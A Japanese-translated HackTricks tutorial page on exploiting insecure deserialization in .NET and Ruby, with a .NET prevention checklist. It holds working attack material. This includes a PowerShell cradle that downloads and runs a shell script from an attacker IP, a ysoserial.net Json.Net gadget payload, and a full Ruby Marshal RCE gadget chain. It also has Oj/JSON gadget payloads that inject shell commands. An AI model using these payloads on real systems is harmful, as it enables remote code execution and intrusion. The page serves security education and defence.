echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv  -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64

ysoserial.net には、各エクスプロイトがどのように機能するかをよりよく理解するのに役立つ 非常に興味深いパラメータ があります: --test このパラメータを指定すると、 ysoserial.netローカルで エクスプロイトを試みます ので、ペイロードが正しく機能するかどうかをテストできます。 このパラメータは便利です。なぜなら、コードをレビューすると、次のようなコードの断片が見つかるからです ( ObjectDataProviderGenerator.cs から):

if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}

これは、エクスプロイトをテストするために、コードが serializersHelper.JsonNet_deserialize を呼び出すことを意味します。

public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}

In the 前のコードは作成されたエクスプロイトに脆弱です。したがって、.Netアプリケーションで同様のものを見つけた場合、そのアプリケーションも脆弱である可能性が高いです。 したがって、--testパラメータは、どのコードのチャンクがysoserial.netによって作成されるデシリアライズエクスプロイトに脆弱であるかを理解するのに役立ちます。

ViewState

.Netの__ViewStateパラメータをエクスプロイトする方法についてのこのPOSTを見てください 任意のコードを実行するために。 もしあなたが被害者のマシンで使用されている秘密をすでに知っているなら、コードを実行する方法を知るためにこの投稿を読んでください。**

Prevention

.Netにおけるデシリアライズに関連するリスクを軽減するために:

  • データストリームにオブジェクトタイプを定義させないようにします。 可能な限りDataContractSerializerまたはXmlSerializerを利用してください。

  • JSON.Netの場合、TypeNameHandlingNoneに設定します: %%%TypeNameHandling = TypeNameHandling.None%%%

  • JavaScriptSerializerJavaScriptTypeResolverと一緒に使用しないでください。

  • デシリアライズ可能なタイプを制限し、System.IO.FileInfoのような.Netタイプに内在するリスクを理解します。これはサーバーファイルのプロパティを変更し、サービス拒否攻撃を引き起こす可能性があります。

  • リスクのあるプロパティを持つタイプに注意してください。 例えば、System.ComponentModel.DataAnnotations.ValidationExceptionValueプロパティは悪用される可能性があります。

  • タイプのインスタンス化を安全に制御し、攻撃者がデシリアライズプロセスに影響を与えないようにします。これにより、DataContractSerializerXmlSerializerでさえ脆弱になります。

  • BinaryFormatterおよびJSON.NetのためにカスタムSerializationBinderを使用してホワイトリスト制御を実装します。

  • .Net内の既知の不安全なデシリアライズガジェットについて情報を得て、デシリアライザがそのようなタイプをインスタンス化しないようにします。

  • インターネットアクセスのあるコードから潜在的にリスクのあるコードを隔離し、System.Windows.Data.ObjectDataProviderのような既知のガジェットを信頼できないデータソースにさらさないようにします。

References

Ruby

Rubyでは、シリアル化はmarshalライブラリ内の2つのメソッドによって促進されます。最初のメソッドはdumpとして知られ、オブジェクトをバイトストリームに変換するために使用されます。このプロセスはシリアル化と呼ばれます。逆に、2番目のメソッドloadは、バイトストリームをオブジェクトに戻すために使用され、このプロセスはデシリアライズと呼ばれます。

シリアル化されたオブジェクトを保護するために、RubyはHMAC(ハッシュベースのメッセージ認証コード)を使用し、データの整合性と真正性を確保します。 この目的のために使用されるキーは、いくつかの可能な場所のいずれかに保存されます:

  • config/environment.rb

  • config/initializers/secret_token.rb

  • config/secrets.yml

  • /proc/self/environ

Ruby 2.Xの一般的なデシリアライズからRCEガジェットチェーン(詳細は https://www.elttam.com/blog/ruby-deserialization/:

#!/usr/bin/env ruby

# Code from https://www.elttam.com/blog/ruby-deserialization/

class Gem::StubSpecification
def initialize; end
end


stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"

puts "STEP n"
stub_specification.name rescue nil
puts


class Gem::Source::SpecificFile
def initialize; end
end

specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)

other_specific_file = Gem::Source::SpecificFile.new

puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts


$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])

puts "STEP n-2"
$dependency_list.each{} rescue nil
puts


class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end

payload = Marshal.dump(Gem::Requirement.new)

puts "STEP n-3"
Marshal.load(payload) rescue nil
puts


puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end

puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts


require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)

他のRCEチェーンを利用してRuby On Railsを攻撃する: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/

Ruby .send() メソッド

この脆弱性レポートで説明されているように、ユーザーの未サニタイズ入力がrubyオブジェクトの.send()メソッドに到達すると、このメソッドはオブジェクトの任意の他のメソッドを任意のパラメータで呼び出すことを許可します。

例えば、evalを呼び出し、次にrubyコードを第二パラメータとして渡すことで、任意のコードを実行することができます:

<Object>.send('eval', '<user input with Ruby code>') == RCE

さらに、.send() のパラメータのうち、攻撃者によって制御されるのが1つだけの場合、前回の記述で述べたように、引数を必要としないか、デフォルト値を持つ引数を持つオブジェクトの任意のメソッドを呼び出すことが可能です。 これには、オブジェクトのすべてのメソッドを列挙して、その要件を満たす興味深いメソッドを見つけることが可能です。

<Object>.send('<user_input>')

# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1)  # get first repo
repo_methods = [           # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()

repo_methods.length()      # Initial number of methods => 5542

## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595

その他のライブラリ

この技術は このブログ記事から取られました。

オブジェクトをシリアライズするために使用できる他のRubyライブラリがあり、したがって不安全なデシリアライズ中にRCEを得るために悪用される可能性があります。以下の表は、これらのライブラリのいくつかと、それがデシリアライズされるときに呼び出されるメソッドを示しています(基本的にRCEを得るために悪用する関数):

ライブラリ

入力データ

クラス内のキックオフメソッド

Marshal (Ruby)

バイナリ

_load

Oj

JSON

hash (クラスはハッシュ(マップ)にキーとして入れる必要があります)

Ox

XML

hash (クラスはハッシュ(マップ)にキーとして入れる必要があります)

Psych (Ruby)

YAML

hash (クラスはハッシュ(マップ)にキーとして入れる必要があります) init_with

JSON (Ruby)

JSON

json_create ([json_createに関するノートを参照](#table-vulnerable-sinks)の最後)

基本的な例:

# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end

def hash
system(@cmd)
end
end

# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload

# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)

Ojを悪用しようとした場合、hash関数内でto_sを呼び出し、specを呼び出し、fetch_pathを呼び出すガジェットクラスを見つけることができました。これにより、ランダムなURLを取得させることが可能になり、この種の未サニタイズのデシリアライズ脆弱性の優れた検出器を提供しました。

{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport","path": "/", "user": "anyuser", "password": "anypw"
}

さらに、前述の技術により、システムにフォルダーが作成されることが判明しました。これは、これを完全なRCEに変換するために別のガジェットを悪用するための要件です。

{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}

詳細については、元の投稿を確認してください。

HackTricksをサポートする

Last updated